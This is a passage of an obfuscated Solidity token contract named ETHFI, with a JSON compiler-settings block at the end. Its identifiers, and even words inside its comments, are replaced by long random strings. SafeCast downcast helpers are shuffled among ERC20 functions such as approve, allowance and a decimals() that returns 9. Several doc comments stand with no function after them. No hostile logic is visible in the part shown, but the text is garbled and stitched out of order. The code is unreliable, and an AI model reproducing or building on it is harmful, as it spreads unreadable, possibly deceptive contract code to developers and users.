v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint128) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint128).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(128, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint128(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the symbol of the token, usually a shorter version of the     * name.     */    function symbol() public view returns (string memory) {        return uLxERJxke9qQWn1DVxKaGuGMUW3frJ8AR5hrOs8phXYe5UsTG3sJx2Dc8pu98vKm0uNCVrd9LZRNT5OtH1ydmGpMl19wPvc8zYmFUEsZylCyaX2F4u5MlEUvJhB3Cu5notx1TPNFC9bmxUIQv4DwrMwF4avmg5pTS5RpCY5x9XmGC5JtRvoLKytRbNs6qsuSsyZx680rhxWGenRx4A8p9EdD7Rn6STPEJB0KDFEHhSA;    }/**     * @dev The iw2vZkxxZOog9tZHXHRNk8lK26t43lt77vsQYVsBeDP3vThgcCHDuS1pBRIK1hFlV6KWl0weA9IqbbJs4ONefyDTHtEHamhjeQyYzpUzjGNQygeMrKgLjFW1lrN8S9D2tbPc5LAXbeOcMKdRerYrq9eXSBJ1nK14KKDuuPEh8 was incorrectly modified.     */    error afTam5jvwzEzKZh4tr4F8LJQUnnP2eVAzzyiRUa2IfsQ4XFiTXdrfywNJbWoLa40h00cO2vG4hs97d7GnkI03soEilIWPTHJqViFdvDO35SQKfC1iYVHDeRv6jij2FUoAp0xZa43zAw0RcVV753VypaV4HzhiUFBS72wvJzOSNwYPiLGXFyhfcgQq1iIfkaR3SH();/**     * @dev Updates `owner` s allowance for `nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3` based on spent `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV`.     *     * Does not update the allowance v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV in case of infinite allowance.     * Revert if not enough allowance is available.     *     * Does not emit an {Approval} event.     */    function _spendAllowance(        address owner_,        address nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3,        uint256 vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7    ) internal {        uint256 azJLgZkd8V3ToZRn2NoTRHuLdcjrk2PPWEkBzo0Lqxckx7SOedwn8MYG266U5VrqWoMge2gW64OGZ6WVhUisTNOTvaZtaR9m0kye = allowance(owner_, nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3);        if (azJLgZkd8V3ToZRn2NoTRHuLdcjrk2PPWEkBzo0Lqxckx7SOedwn8MYG266U5VrqWoMge2gW64OGZ6WVhUisTNOTvaZtaR9m0kye != type(uint256).max) {            require(                azJLgZkd8V3ToZRn2NoTRHuLdcjrk2PPWEkBzo0Lqxckx7SOedwn8MYG266U5VrqWoMge2gW64OGZ6WVhUisTNOTvaZtaR9m0kye >= vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7,                "ETHFI: insufficient allowance"            );            unchecked {                _approve(owner_, nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3, azJLgZkd8V3ToZRn2NoTRHuLdcjrk2PPWEkBzo0Lqxckx7SOedwn8MYG266U5VrqWoMge2gW64OGZ6WVhUisTNOTvaZtaR9m0kye - vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);            }        }    }/**     * @dev Returns the downcasted int80 from int256, reverting on     * overflow (when the input is less than smallest int80 or     * greater than largest int80).     *     * Counterpart to Solidity's `int80` operator.     *     * Requirements:     *     * - input must fit into 80 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL80(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int80 downcasted) {        downcasted = int80(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(80, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Machine-readable description of the iw2vZkxxZOog9tZHXHRNk8lK26t43lt77vsQYVsBeDP3vThgcCHDuS1pBRIK1hFlV6KWl0weA9IqbbJs4ONefyDTHtEHamhjeQyYzpUzjGNQygeMrKgLjFW1lrN8S9D2tbPc5LAXbeOcMKdRerYrq9eXSBJ1nK14KKDuuPEh8 as specified in EIP-6372.     *//**     * @dev Returns the downcasted int64 from int256, reverting on     * overflow (when the input is less than smallest int64 or     * greater than largest int64).     *     * Counterpart to Solidity's `int64` operator.     *     * Requirements:     *     * - input must fit into 64 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL64(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int64 downcasted) {        downcasted = int64(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(64, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted int40 from int256, reverting on     * overflow (when the input is less than smallest int40 or     * greater than largest int40).     *     * Counterpart to Solidity's `int40` operator.     *     * Requirements:     *     * - input must fit into 40 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL40(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int40 downcasted) {        downcasted = int40(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(40, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }function dAVj8Dot943AB5khwNPCh7VsbhdJllGNcNnfVayVgHemnB7ipNsbcxa9wtVHPZhPrgt7uACGzXCafps2SmTyTgAZae1mpBjSXIlxWLoMjS6WfIo6b8VnRrhiGJ0S44wxLgr6XqIsJYULyElavXL() internal pure returns (bytes calldata) {        return msg.data;    }/**     * @dev Returns the downcasted uint176 from uint256, reverting on     * overflow (when the input is greater than largest uint176).     *     * Counterpart to Solidity's `uint176` operator.     *     * Requirements:     *     * - input must fit into 176 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl176(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint176) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint176).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(176, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint176(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the number of decimals used to get its user representation.     * For example, if `decimals` equals `2`, a balance of `505` tokens should     * be displayed to a user as `5.05` (`505 / 10 ** 2`).     *     * Tokens usually opt for a v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV of 18, imitating the relationship between     * Ether and Wei. This is the default v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV returned by this function, unless     * it's overridden.     *     * NOTE: This information is only used for _display_ purposes: it in     * no way affects any of the arithmetic of the contract, including     * {IETHFI-balanceOf} and {IETHFI-transfer}.     */    function decimals() public pure returns (uint8) {        return 9;    }/**     * @dev Returns the downcasted int32 from int256, reverting on     * overflow (when the input is less than smallest int32 or     * greater than largest int32).     *     * Counterpart to Solidity's `int32` operator.     *     * Requirements:     *     * - input must fit into 32 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL32(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int32 downcasted) {        downcasted = int32(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(32, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted int24 from int256, reverting on     * overflow (when the input is less than smallest int24 or     * greater than largest int24).     *     * Counterpart to Solidity's `int24` operator.     *     * Requirements:     *     * - input must fit into 24 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL24(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int24 downcasted) {        downcasted = int24(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(24, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted uint112 from uint256, reverting on     * overflow (when the input is greater than largest uint112).     *     * Counterpart to Solidity's `uint112` operator.     *     * Requirements:     *     * - input must fit into 112 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl112(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint112) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint112).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(112, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint112(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint48 from uint256, reverting on     * overflow (when the input is greater than largest uint48).     *     * Counterpart to Solidity's `uint48` operator.     *     * Requirements:     *     * - input must fit into 48 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl48(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint48) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint48).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(48, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint48(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int248 from int256, reverting on     * overflow (when the input is less than smallest int248 or     * greater than largest int248).     *     * Counterpart to Solidity's `int248` operator.     *     * Requirements:     *     * - input must fit into 248 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL248(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int248 downcasted) {        downcasted = int248(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(248, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the total supply of votes available at a specific moment in the past. If the `iw2vZkxxZOog9tZHXHRNk8lK26t43lt77vsQYVsBeDP3vThgcCHDuS1pBRIK1hFlV6KWl0weA9IqbbJs4ONefyDTHtEHamhjeQyYzpUzjGNQygeMrKgLjFW1lrN8S9D2tbPc5LAXbeOcMKdRerYrq9eXSBJ1nK14KKDuuPEh8()` is     * configured to use block numbers, this will return the v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV at the end of the corresponding block.     *     * NOTE: This v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV is the sum of all available votes, which is not necessarily the sum of all delegated votes.     * Votes that have not been delegated are still part of total supply, even though they would not participate in a     * vote.     *     * Requirements:     *     * - `eZP6TXqv05sVIRWpLn5BZ4sQbUlCWNKnkzGTy1Q19aOR2eTHUfvtAmP9HMh8gsFTlUwRwdbXADol3c8sUxGhnIpFgf57dT1OuIN3yoX0FQ0NNy8PYIdx55HvyTs4K9AU0Oi4VzMuHlhgsdvMW0SyvEKG5UV8LpKahdGbyqCMWYC5RUTAEPbuOf6dBrqe2` must be in the past. If operating using block numbers, the block must be already mined.     *//**     * @dev See {IETHFI-allowance}.     */    function allowance(address owner_, address nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3)        public        view        returns (uint256)    {        return kGEmPrlMoZFQ26px9xCkbQtBeoBLcfRc7DgewzdW3BmGHfr1Te5uYXHSc1LCI6DVFZSoFtG2BF4snTW4uyMlZNZNtpVf0fmSBv1jpfeQ6gu1phEUvV1reD1pzyIjCrwswgiZrzlwmQ4xkOJv9T74zcbeQQCRVl56q1z3MUCrDA[owner_][nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3];    }/**     * @dev Must return the voting units held by an kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2.     *//**     * @dev See {IETHFI-approve}.     *     * NOTE: If `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV` is the maximum `uint256`, the allowance is not updated on     * `transferFrom`. This is semantically equivalent to an infinite approval.     *     * Requirements:     *     * - `nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3` cannot be the zero address.     */    function approve(address nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3, uint256 vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7) public returns (bool) {        address owner_ = eQSCQ51MxjTx1zVoE65cI1VHqbQ4QB3ryAdzW2UTOOmEFa8qf1M6z2zY9W57OLSf2lE9ItRQ8wmI7TOVL2BV0();        _approve(owner_, nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3, vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);        return true;    }/**     * @dev Returns the downcasted int184 from int256, reverting on     * overflow (when the input is less than smallest int184 or     * greater than largest int184).     *     * Counterpart to Solidity's `int184` operator.     *     * Requirements:     *     * - input must fit into 184 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL184(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int184 downcasted) {        downcasted = int184(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(184, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }}

{
  "compilationTarget": {
    "ETHFI.sol": "ETHFI"
  },
  "evmVersion": "berlin",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}